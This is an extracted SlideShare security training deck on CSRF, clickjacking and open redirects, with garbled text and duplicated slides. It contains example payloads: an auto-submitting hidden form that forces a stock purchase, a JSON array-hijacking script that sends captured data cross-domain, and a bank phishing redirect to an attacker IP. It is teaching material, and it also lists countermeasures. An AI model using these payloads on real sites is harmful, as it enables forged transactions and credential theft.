SlideShare a Scribd company logo
CSRF	
  (Cross	
  Site	
  Request	
  Forgery)	
  
ClickJacking	
  &	
  Open	
  Redirects	
  
Cross	
  Site	
  Request	
  Forgery	
  (CSRF)	
  
•  Generic	
  CSRF	
  is	
  with	
  GET	
  /	
  POST	
  
•  Forcefully	
  sending	
  request	
  to	
  the	
  target	
  applicaEon	
  
with	
  cookie	
  replay	
  
•  Leveraging	
  tags	
  like	
  
–  IMG
–  SCRIPT
–  IFRAME
•  Not	
  abide	
  by	
  SOP	
  or	
  Cross	
  Domain	
  is	
  possible	
  
Request	
  generaEon	
  
	
  	
  	
  	
  	
  IMG	
  SRC	
  
	
  	
  <img	
  src="hOp://host/?command">	
  
	
  
	
  	
  SCRIPT	
  SRC	
  
	
  	
  <script	
  src="hOp://host/?command">	
  
	
  
	
  	
  IFRAME	
  SRC	
  
	
  	
  <iframe	
  src="hOp://host/?command">	
  	
  
Request	
  generaEon	
  
	
  	
  	
  	
  'Image'	
  Object	
  
	
  	
  <script>	
  
	
  	
  var	
  foo	
  =	
  new	
  Image();	
  
	
  	
  foo.src	
  =	
  "hOp://host/?command";	
  
	
  	
  </script>	
  	
  
	
  
XHR	
  –	
  Cross	
  domain	
  difficult	
  
Request	
  generaEon	
  
•  It	
  is	
  possible	
  to	
  generate	
  POST	
  as	
  well	
  
•  Form	
  can	
  be	
  build	
  dynamically	
  and	
  buOon	
  
click	
  from	
  JavaScript	
  is	
  possible	
  
<script	
  type="text/javascript"	
  
language="JavaScript">	
  
	
  	
  	
  	
  	
  	
  document.foo.submit();	
  
</script>	
  	
  
Cross	
  Site	
  Request	
  Forgery	
  (CSRF)	
  
•  What	
  is	
  different	
  with	
  Web	
  2.0	
  
– Is it possible to do CSRF to XML stream
– How?
– It will be POST hitting the XML processing
resources like Web Services
– JSON CSRF is also possible
– Interesting check to make against application
and Web 2.0 resources
One	
  Way	
  CSRF	
  Scenario	
  
One	
  Way	
  CSRF	
  Scenario	
  
One	
  Way	
  CSRF	
  Scenario	
  
One	
  Way	
  CSRF	
  Scenario	
  
One-­‐Way	
  CSRF	
  
One-­‐Way	
  CSRF	
  
•  <html>	
  
•  <body>	
  
•  <FORM	
  NAME="buy"	
  ENCTYPE="text/plain"	
  acEon="hOp://
trade.example.com/xmlrpc/trade.rem"	
  METHOD="POST">	
  
•  	
  	
  	
  	
  	
  	
  	
  <input	
  type="hidden"	
  name='<?xml	
  version'	
  value='"1.0"?
><methodCall><methodName>stocks.buy</
methodName><params><param><value><string>MSFT</string></
value></param><param><value><double>26</double></value></
param></params></methodCall>'>	
  
•  </FORM>	
  
•  <script>document.buy.submit();</script>	
  
•  </body>	
  
•  </html>	
  
Forcing	
  XML	
  
•  Spligng	
  XML	
  stream	
  in	
  the	
  form.	
  
•  Possible	
  through	
  XForms	
  as	
  well.	
  
•  Similar	
  techniques	
  is	
  applicable	
  to	
  JSON	
  as	
  
well.	
  	
  
Two-­‐Way	
  CSRF	
  
•  One-­‐Way	
  –	
  Just	
  making	
  forceful	
  request.	
  
•  Two-­‐Way	
  
– Reading the data coming from the target
– May be getting hold onto important
information – profile, statements, numbers
etc.
– Is it possible with JSON/XML
Two-­‐Way	
  CSRF	
  
Two-­‐Way	
  CSRF	
  
•  ApplicaEon	
  is	
  serving	
  various	
  streams	
  like	
  –	
  
JSON,	
  JS-­‐Object,	
  Array	
  etc.	
  
	
  
Two-­‐Way	
  CSRF	
  
Two-­‐Way	
  CSRF	
  
•  AOacker	
  page	
  can	
  make	
  cross	
  domain	
  request	
  
using	
  SCRIPT	
  (firefox)	
  
•  Following	
  code	
  can	
  overload	
  the	
  array	
  stream.	
  
	
  	
  	
  funcEon	
  Array()	
  	
  
	
  {	
  var	
  obj	
  =	
  this;	
  var	
  index	
  =	
  0;	
  for(j=0;j<4;j++){	
  obj[index++]	
  
seOer	
  =	
  spoof;	
  }	
  }	
  funcEon	
  spoof(x){	
  send(x.toString());	
  }	
  	
  
Two-­‐Way	
  CSRF	
  
Two-­‐Way	
  CSRF	
  
•  It	
  is	
  possible	
  to	
  overload	
  these	
  objects.	
  
•  Reading	
  and	
  sending	
  to	
  cross	
  domain	
  possible.	
  
•  Opens	
  up	
  two	
  way	
  channel	
  for	
  an	
  aOacker.	
  
•  Web	
  2.0	
  streams	
  are	
  vulnerable	
  to	
  these	
  
aOacks.	
  
Countermeasure	
  
•  Server	
  Side	
  Checks	
  
–  Check for client’s content-type.
–  XHR calls – xml/application.
–  Native calls – text/html.
–  Filtering is possible on it.
•  Client	
  Side	
  Checks	
  
–  Stream can be started and terminated by /* or any
predefined characters.
–  Client can remove them before injecting to DOM.
Clickjacking	
  
DescripEon	
  
• Clickjacking	
  is	
  a	
  popular	
  name	
  for	
  an	
  old	
  aOack	
  
method	
  called	
  “UI	
  redressing”	
  
• Though	
  a	
  case	
  of	
  “old	
  wine	
  in	
  a	
  new	
  boOle”,	
  
given	
  the	
  current	
  development	
  in	
  Web	
  
standards	
  (Web	
  2.0,	
  AJAX,	
  etc),	
  one	
  cannot	
  
ignore	
  the	
  risks	
  posed	
  by	
  this	
  vulnerability	
  
• The	
  basic	
  philosophy	
  of	
  this	
  aOack	
  is	
  to	
  fool	
  
the	
  user	
  into	
  clicking	
  a	
  malicious	
  link	
  
DescripEon	
  
•  Clickjacking	
  involves	
  “hijacking”	
  the	
  user's	
  
mouse	
  clicks	
  
•  This	
  means,	
  the	
  user	
  thinks	
  (s)he's	
  clicking	
  
on	
  something,	
  but	
  is	
  actually	
  not	
  
•  The	
  user,	
  invariably	
  and	
  unknowingly	
  
authorizes	
  certain	
  acEons	
  which	
  could	
  have	
  
disasterous	
  consequences	
  or	
  could	
  be	
  as	
  
harmless	
  as	
  being	
  redirected	
  to	
  a	
  games	
  site	
  
AOack	
  Anatomy	
  
•  There	
  are	
  3	
  popular	
  ways	
  in	
  which	
  aOackers	
  
perpetrate	
  this	
  vulnerability	
  
–  Using invisible elements such as iframes
–  Injecting malicious javascript (or any
other client side scripting language)
–  Leveraging a bug in Adobe Flash Player
(this method is now obsolete)
AOack	
  Anatomy	
  
•  An	
  aOacker	
  uses	
  the	
  concept	
  of	
  layering	
  to	
  
crat	
  an	
  aOack	
  
•  Basically,	
  the	
  page	
  that	
  the	
  user	
  views,	
  will	
  
have	
  layers	
  
•  Some	
  of	
  these	
  layers	
  will	
  be	
  transparent	
  (or	
  
invisible)	
  	
  
•  The	
  user	
  will	
  never	
  know	
  of	
  the	
  invisible	
  
layers	
  and	
  will	
  end	
  up	
  making	
  a	
  wrong	
  
choice	
  
AOack	
  Anatomy	
  
•  Lets	
  first	
  understand	
  this	
  basic	
  mechanism	
  
with	
  an	
  example	
  and	
  then	
  move	
  on	
  to	
  the	
  
different	
  ways	
  of	
  perpetraEng	
  this	
  aOack	
  ....	
  
AOack	
  Anatomy	
  
Send email to all users ?
Yes No
Actual intented content ....
AOack	
  Anatomy	
  
Send email to all users ?
Yes No
Do you want a free iPad?
No
Intended content .... Malicious content for clickjacking
AOack	
  Anatomy	
  
Send email to all users ?
Yes No
Do you want a free iPad?
No
When the two are super imposed …
(“Send email to all users?” Will not be visible, it is
shown here for clarity)
Unvalidated	
  Redirects	
  &	
  
Forwards	
  
DescripEon	
  
•  Web	
  applicaEons	
  are	
  having	
  its	
  own	
  “flow”	
  
•  Business	
  flow	
  needs	
  movement	
  between	
  
pages	
  and	
  sites	
  
•  ApplicaEon	
  uses	
  same	
  domain	
  or	
  cross	
  
domain	
  redirects	
  and	
  forwards	
  
•  It	
  allows	
  applicaEons	
  to	
  work	
  easily	
  and	
  access	
  
same	
  domain	
  or	
  cross	
  domain	
  resources	
  
(Single	
  Sign	
  On	
  –	
  leveraging)	
  
DescripEon	
  
•  HTTP	
  requests	
  can	
  be	
  GET	
  or	
  POST	
  
•  Parameters	
  are	
  not	
  validated	
  and	
  can	
  lead	
  to	
  
arbitrary	
  redirects	
  
•  This	
  can	
  be	
  leveraged	
  at	
  ease	
  and	
  get	
  
exploited	
  by	
  an	
  aOacker	
  
•  AOacker	
  exploits	
  the	
  trust	
  and	
  leverage	
  the	
  
vulnerability	
  
AOack	
  Anatomy	
  
•  As	
  a	
  part	
  of	
  root	
  cause,	
  there	
  must	
  be	
  a	
  
redirect	
  hole	
  
•  Example,	
  
– http://foo.bank.com/login.aspx?
user=xxx&page=trade.aspx
•  Here	
  “page”	
  is	
  a	
  vulnerable	
  parameter	
  
•  What	
  if?	
  Some	
  one	
  put	
  page=hOp://
yahoo.com	
  …	
  
AOack	
  Anatomy	
  
Attacker
foo.bank.com
http://foo.bank.com/login.aspx?user=xxx&
page=http://yahoo.com
Get redirect or JavaScript call
for loading yahoo.com
Vulnerability detected!!!
AOack	
  Anatomy	
  
•  What	
  is	
  redirect…	
  
– If server sends 302 in its HTTP response
– If server sends JavaScript with certain
document object calls like “location”
•  What	
  will	
  happen…	
  
– It will send browser to new location
– User will stay in impression that he/she is at
trusted site but that is not the case
AOack	
  Anatomy	
  
Bank’s user
foo.bank.com
Login the page
Login successful
This is what in user’s mind…
a.) URL – trusted, foo.bank.com
b.) Login form - trusted
AOack	
  Anatomy	
  
•  User	
  is	
  doing	
  all	
  his	
  acEviEes	
  
•  Full	
  trust	
  is	
  established	
  and	
  day	
  to	
  day	
  work	
  is	
  
going	
  on	
  
•  Now	
  aOacker’s	
  acEon	
  comes	
  in	
  …	
  
•  AOacker	
  sends	
  a	
  mail	
  and	
  request	
  to	
  login	
  and	
  
change	
  password	
  immediately	
  as	
  part	
  of	
  
banking	
  policies	
  
•  	
  AOacker	
  acts	
  as	
  administrator	
  from	
  bank	
  
AOack	
  Anatomy	
  
•  Magic	
  is	
  in	
  the	
  link	
  and	
  trust	
  is	
  in	
  the	
  mind.	
  
•  User	
  trust	
  the	
  URL	
  and	
  Link	
  both	
  consciously	
  
and	
  subconsciously…	
  
•  Following	
  link	
  will	
  be	
  sent.	
  
http://foo.bank.com/login.aspx?user=xxx&date=12-12-2009&trust=good&
page=http://203.88.xx.xx/security.html
Link is injected
User is going to trust this
AOack	
  Anatomy	
  
Click the link
Get a redirect response
to 203.88.XX.XX
1Link in mail
AOack	
  Anatomy	
  
Bank’s user
foo.bank.com
Click the link
Get a redirect response
to 203.88.XX.XX
203.88.XX.XX
(Attacker’s area)
Bank’s user
Send dummy form
Trusted evil redirect
2
AOack	
  Anatomy	
  
Bank’s user
foo.bank.com
Click the link
Get a redirect response
to 203.88.XX.XX
203.88.XX.XX
(Attacker’s area)
Bank’s user
Send dummy form
Bank’s user
Send username and password
Send dummy response (Thanks!)
Trusted evil redirect
203.88.XX.XX
(Attacker’s area)
3
AOack	
  Anatomy	
  
Bank’s user
foo.bank.com
Click the link
Get a redirect response
to 203.88.XX.XX
203.88.XX.XX
(Attacker’s area)
Bank’s user
Send dummy form
Bank’s user
Send username and password
Send dummy response (Thanks!)
Trusted evil redirect
203.88.XX.XX
(Attacker’s area)
Logs in and
do money
transfer
4
Conclusion	
  

More Related Content

PPTX
HTTP HOST header attacks
PPTX
SSRF For Bug Bounties
PPT
Web Application Security
PPTX
Understanding Cross-site Request Forgery
PPTX
Website hacking and prevention (All Tools,Topics & Technique )
PDF
Insecure direct object reference (null delhi meet)
PDF
NoSql Injection
PPTX
SSRF exploit the trust relationship
HTTP HOST header attacks
SSRF For Bug Bounties
Web Application Security
Understanding Cross-site Request Forgery
Website hacking and prevention (All Tools,Topics & Technique )
Insecure direct object reference (null delhi meet)
NoSql Injection
SSRF exploit the trust relationship

What's hot (20)

PPTX
Bug Bounty 101
PPTX
Bug Bounty for - Beginners
PPT
Database Systems Security
PPTX
Getting Started with API Security Testing
PDF
Api security-testing
PPTX
Introduction to Web Application Penetration Testing
PPTX
Security Code Review 101
PPTX
Vulnerabilities in modern web applications
PPTX
Host Header injection - Slides
PDF
Sql Injection - Vulnerability and Security
PPTX
Time-Based Blind SQL Injection
PDF
Web Application Penetration Testing
PPTX
A2 - broken authentication and session management(OWASP thailand chapter Apri...
PDF
Web application security & Testing
PPTX
security misconfigurations
PDF
Thick Client Penetration Testing.pdf
PDF
Local File Inclusion to Remote Code Execution
PPTX
A Forgotten HTTP Invisibility Cloak
PPTX
Sql injection
Bug Bounty 101
Bug Bounty for - Beginners
Database Systems Security
Getting Started with API Security Testing
Api security-testing
Introduction to Web Application Penetration Testing
Security Code Review 101
Vulnerabilities in modern web applications
Host Header injection - Slides
Sql Injection - Vulnerability and Security
Time-Based Blind SQL Injection
Web Application Penetration Testing
A2 - broken authentication and session management(OWASP thailand chapter Apri...
Web application security & Testing
security misconfigurations
Thick Client Penetration Testing.pdf
Local File Inclusion to Remote Code Execution
A Forgotten HTTP Invisibility Cloak
Sql injection
Ad

Similar to CSRF, ClickJacking & Open Redirect (20)

PDF
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
PPTX
Postcards from the post xss world- content exfiltration null
PPT
Php & Web Security - PHPXperts 2009
PDF
Detailed Developer Report.pdf
PDF
Week 05 Web, App and Javascript_Brandon, S.H. Wu
PPTX
OWASP top 10-2013
PDF
4 andrii kudiurov - web application security 101
PDF
www.webre24h.com - Ajax security
PPT
Ajax to the Moon
PPTX
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
KEY
Developing High Performance Web Apps - CodeMash 2011
PDF
WebApp / SPA @ AllFacebook Developer Conference
PPTX
Burpsuite yara
PPTX
Web Hacking Series Part 4
PDF
How to migrate from any CMS (thru the front-door)
DOCX
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
PDF
The top 10 security issues in web applications
PPTX
Building Secure User Interfaces With JWTs (JSON Web Tokens)
PPTX
Owasp Top 10 A1: Injection
PDF
Testing mit Codeception: Full-stack testing PHP framework
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Postcards from the post xss world- content exfiltration null
Php & Web Security - PHPXperts 2009
Detailed Developer Report.pdf
Week 05 Web, App and Javascript_Brandon, S.H. Wu
OWASP top 10-2013
4 andrii kudiurov - web application security 101
www.webre24h.com - Ajax security
Ajax to the Moon
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Developing High Performance Web Apps - CodeMash 2011
WebApp / SPA @ AllFacebook Developer Conference
Burpsuite yara
Web Hacking Series Part 4
How to migrate from any CMS (thru the front-door)
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
The top 10 security issues in web applications
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Owasp Top 10 A1: Injection
Testing mit Codeception: Full-stack testing PHP framework
Ad

More from Blueinfy Solutions (20)

PDF
Mobile Application Scan and Testing
PDF
Mobile security chess board - attacks & defense
PPT
Mobile code mining for discovery and exploits nullcongoa2013
PPT
iOS Application Security Testing
PPT
Html5 on mobile
PPT
Android secure coding
PPT
Android attacks
PPT
Automation In Android & iOS Application Review
PPT
Web Services Hacking and Security
PPT
Source Code Analysis with SAST
PPT
HTML5 hacking
PPT
XSS - Attacks & Defense
PPT
Defending against Injections
PPT
XPATH, LDAP and Path Traversal Injection
PPT
Blind SQL Injection
PPT
Application fuzzing
PPT
SQL injection basics
PPT
Applciation footprinting, discovery and enumeration
PPT
Assessment methodology and approach
PPT
HTTP protocol and Streams Security
Mobile Application Scan and Testing
Mobile security chess board - attacks & defense
Mobile code mining for discovery and exploits nullcongoa2013
iOS Application Security Testing
Html5 on mobile
Android secure coding
Android attacks
Automation In Android & iOS Application Review
Web Services Hacking and Security
Source Code Analysis with SAST
HTML5 hacking
XSS - Attacks & Defense
Defending against Injections
XPATH, LDAP and Path Traversal Injection
Blind SQL Injection
Application fuzzing
SQL injection basics
Applciation footprinting, discovery and enumeration
Assessment methodology and approach
HTTP protocol and Streams Security

Recently uploaded (20)

PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PPTX
Big Data Technologies - Introduction.pptx
PDF
AI And Its Effect On The Evolving IT Sector In Australia - Elevate
PDF
NewMind AI Monthly Chronicles - July 2025
PPT
Teaching material agriculture food technology
PDF
CIFDAQ's Market Wrap: Ethereum Leads, Bitcoin Lags, Institutions Shift
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PDF
HCSP-Presales-Campus Network Planning and Design V1.0 Training Material-Witho...
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
Advanced IT Governance
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
Empathic Computing: Creating Shared Understanding
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
GDG Cloud Iasi [PUBLIC] Florian Blaga - Unveiling the Evolution of Cybersecur...
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
GamePlan Trading System Review: Professional Trader's Honest Take
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
Big Data Technologies - Introduction.pptx
AI And Its Effect On The Evolving IT Sector In Australia - Elevate
NewMind AI Monthly Chronicles - July 2025
Teaching material agriculture food technology
CIFDAQ's Market Wrap: Ethereum Leads, Bitcoin Lags, Institutions Shift
NewMind AI Weekly Chronicles - August'25 Week I
20250228 LYD VKU AI Blended-Learning.pptx
HCSP-Presales-Campus Network Planning and Design V1.0 Training Material-Witho...
Review of recent advances in non-invasive hemoglobin estimation
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Advanced IT Governance
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Empathic Computing: Creating Shared Understanding
Spectral efficient network and resource selection model in 5G networks
GDG Cloud Iasi [PUBLIC] Florian Blaga - Unveiling the Evolution of Cybersecur...
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
“AI and Expert System Decision Support & Business Intelligence Systems”
GamePlan Trading System Review: Professional Trader's Honest Take

CSRF, ClickJacking & Open Redirect

  • 1. CSRF  (Cross  Site  Request  Forgery)   ClickJacking  &  Open  Redirects  
  • 2. Cross  Site  Request  Forgery  (CSRF)   •  Generic  CSRF  is  with  GET  /  POST   •  Forcefully  sending  request  to  the  target  applicaEon   with  cookie  replay   •  Leveraging  tags  like   –  IMG –  SCRIPT –  IFRAME •  Not  abide  by  SOP  or  Cross  Domain  is  possible  
  • 3. Request  generaEon            IMG  SRC      <img  src="hOp://host/?command">        SCRIPT  SRC      <script  src="hOp://host/?command">        IFRAME  SRC      <iframe  src="hOp://host/?command">    
  • 4. Request  generaEon          'Image'  Object      <script>      var  foo  =  new  Image();      foo.src  =  "hOp://host/?command";      </script>       XHR  –  Cross  domain  difficult  
  • 5. Request  generaEon   •  It  is  possible  to  generate  POST  as  well   •  Form  can  be  build  dynamically  and  buOon   click  from  JavaScript  is  possible   <script  type="text/javascript"   language="JavaScript">              document.foo.submit();   </script>    
  • 6. Cross  Site  Request  Forgery  (CSRF)   •  What  is  different  with  Web  2.0   – Is it possible to do CSRF to XML stream – How? – It will be POST hitting the XML processing resources like Web Services – JSON CSRF is also possible – Interesting check to make against application and Web 2.0 resources
  • 7. One  Way  CSRF  Scenario  
  • 8. One  Way  CSRF  Scenario  
  • 9. One  Way  CSRF  Scenario  
  • 10. One  Way  CSRF  Scenario  
  • 12. One-­‐Way  CSRF   •  <html>   •  <body>   •  <FORM  NAME="buy"  ENCTYPE="text/plain"  acEon="hOp:// trade.example.com/xmlrpc/trade.rem"  METHOD="POST">   •               <input  type="hidden"  name='<?xml  version'  value='"1.0"? ><methodCall><methodName>stocks.buy</ methodName><params><param><value><string>MSFT</string></ value></param><param><value><double>26</double></value></ param></params></methodCall>'>   •  </FORM>   •  <script>document.buy.submit();</script>   •  </body>   •  </html>  
  • 13. Forcing  XML   •  Spligng  XML  stream  in  the  form.   •  Possible  through  XForms  as  well.   •  Similar  techniques  is  applicable  to  JSON  as   well.    
  • 14. Two-­‐Way  CSRF   •  One-­‐Way  –  Just  making  forceful  request.   •  Two-­‐Way   – Reading the data coming from the target – May be getting hold onto important information – profile, statements, numbers etc. – Is it possible with JSON/XML
  • 16. Two-­‐Way  CSRF   •  ApplicaEon  is  serving  various  streams  like  –   JSON,  JS-­‐Object,  Array  etc.    
  • 18. Two-­‐Way  CSRF   •  AOacker  page  can  make  cross  domain  request   using  SCRIPT  (firefox)   •  Following  code  can  overload  the  array  stream.        funcEon  Array()      {  var  obj  =  this;  var  index  =  0;  for(j=0;j<4;j++){  obj[index++]   seOer  =  spoof;  }  }  funcEon  spoof(x){  send(x.toString());  }    
  • 20. Two-­‐Way  CSRF   •  It  is  possible  to  overload  these  objects.   •  Reading  and  sending  to  cross  domain  possible.   •  Opens  up  two  way  channel  for  an  aOacker.   •  Web  2.0  streams  are  vulnerable  to  these   aOacks.  
  • 21. Countermeasure   •  Server  Side  Checks   –  Check for client’s content-type. –  XHR calls – xml/application. –  Native calls – text/html. –  Filtering is possible on it. •  Client  Side  Checks   –  Stream can be started and terminated by /* or any predefined characters. –  Client can remove them before injecting to DOM.
  • 23. DescripEon   • Clickjacking  is  a  popular  name  for  an  old  aOack   method  called  “UI  redressing”   • Though  a  case  of  “old  wine  in  a  new  boOle”,   given  the  current  development  in  Web   standards  (Web  2.0,  AJAX,  etc),  one  cannot   ignore  the  risks  posed  by  this  vulnerability   • The  basic  philosophy  of  this  aOack  is  to  fool   the  user  into  clicking  a  malicious  link  
  • 24. DescripEon   •  Clickjacking  involves  “hijacking”  the  user's   mouse  clicks   •  This  means,  the  user  thinks  (s)he's  clicking   on  something,  but  is  actually  not   •  The  user,  invariably  and  unknowingly   authorizes  certain  acEons  which  could  have   disasterous  consequences  or  could  be  as   harmless  as  being  redirected  to  a  games  site  
  • 25. AOack  Anatomy   •  There  are  3  popular  ways  in  which  aOackers   perpetrate  this  vulnerability   –  Using invisible elements such as iframes –  Injecting malicious javascript (or any other client side scripting language) –  Leveraging a bug in Adobe Flash Player (this method is now obsolete)
  • 26. AOack  Anatomy   •  An  aOacker  uses  the  concept  of  layering  to   crat  an  aOack   •  Basically,  the  page  that  the  user  views,  will   have  layers   •  Some  of  these  layers  will  be  transparent  (or   invisible)     •  The  user  will  never  know  of  the  invisible   layers  and  will  end  up  making  a  wrong   choice  
  • 27. AOack  Anatomy   •  Lets  first  understand  this  basic  mechanism   with  an  example  and  then  move  on  to  the   different  ways  of  perpetraEng  this  aOack  ....  
  • 28. AOack  Anatomy   Send email to all users ? Yes No Actual intented content ....
  • 29. AOack  Anatomy   Send email to all users ? Yes No Do you want a free iPad? No Intended content .... Malicious content for clickjacking
  • 30. AOack  Anatomy   Send email to all users ? Yes No Do you want a free iPad? No When the two are super imposed … (“Send email to all users?” Will not be visible, it is shown here for clarity)
  • 31. Unvalidated  Redirects  &   Forwards  
  • 32. DescripEon   •  Web  applicaEons  are  having  its  own  “flow”   •  Business  flow  needs  movement  between   pages  and  sites   •  ApplicaEon  uses  same  domain  or  cross   domain  redirects  and  forwards   •  It  allows  applicaEons  to  work  easily  and  access   same  domain  or  cross  domain  resources   (Single  Sign  On  –  leveraging)  
  • 33. DescripEon   •  HTTP  requests  can  be  GET  or  POST   •  Parameters  are  not  validated  and  can  lead  to   arbitrary  redirects   •  This  can  be  leveraged  at  ease  and  get   exploited  by  an  aOacker   •  AOacker  exploits  the  trust  and  leverage  the   vulnerability  
  • 34. AOack  Anatomy   •  As  a  part  of  root  cause,  there  must  be  a   redirect  hole   •  Example,   – http://foo.bank.com/login.aspx? user=xxx&page=trade.aspx •  Here  “page”  is  a  vulnerable  parameter   •  What  if?  Some  one  put  page=hOp:// yahoo.com  …  
  • 36. AOack  Anatomy   •  What  is  redirect…   – If server sends 302 in its HTTP response – If server sends JavaScript with certain document object calls like “location” •  What  will  happen…   – It will send browser to new location – User will stay in impression that he/she is at trusted site but that is not the case
  • 37. AOack  Anatomy   Bank’s user foo.bank.com Login the page Login successful This is what in user’s mind… a.) URL – trusted, foo.bank.com b.) Login form - trusted
  • 38. AOack  Anatomy   •  User  is  doing  all  his  acEviEes   •  Full  trust  is  established  and  day  to  day  work  is   going  on   •  Now  aOacker’s  acEon  comes  in  …   •  AOacker  sends  a  mail  and  request  to  login  and   change  password  immediately  as  part  of   banking  policies   •   AOacker  acts  as  administrator  from  bank  
  • 39. AOack  Anatomy   •  Magic  is  in  the  link  and  trust  is  in  the  mind.   •  User  trust  the  URL  and  Link  both  consciously   and  subconsciously…   •  Following  link  will  be  sent.   http://foo.bank.com/login.aspx?user=xxx&date=12-12-2009&trust=good& page=http://203.88.xx.xx/security.html Link is injected User is going to trust this
  • 40. AOack  Anatomy   Click the link Get a redirect response to 203.88.XX.XX 1Link in mail
  • 41. AOack  Anatomy   Bank’s user foo.bank.com Click the link Get a redirect response to 203.88.XX.XX 203.88.XX.XX (Attacker’s area) Bank’s user Send dummy form Trusted evil redirect 2
  • 42. AOack  Anatomy   Bank’s user foo.bank.com Click the link Get a redirect response to 203.88.XX.XX 203.88.XX.XX (Attacker’s area) Bank’s user Send dummy form Bank’s user Send username and password Send dummy response (Thanks!) Trusted evil redirect 203.88.XX.XX (Attacker’s area) 3
  • 43. AOack  Anatomy   Bank’s user foo.bank.com Click the link Get a redirect response to 203.88.XX.XX 203.88.XX.XX (Attacker’s area) Bank’s user Send dummy form Bank’s user Send username and password Send dummy response (Thanks!) Trusted evil redirect 203.88.XX.XX (Attacker’s area) Logs in and do money transfer 4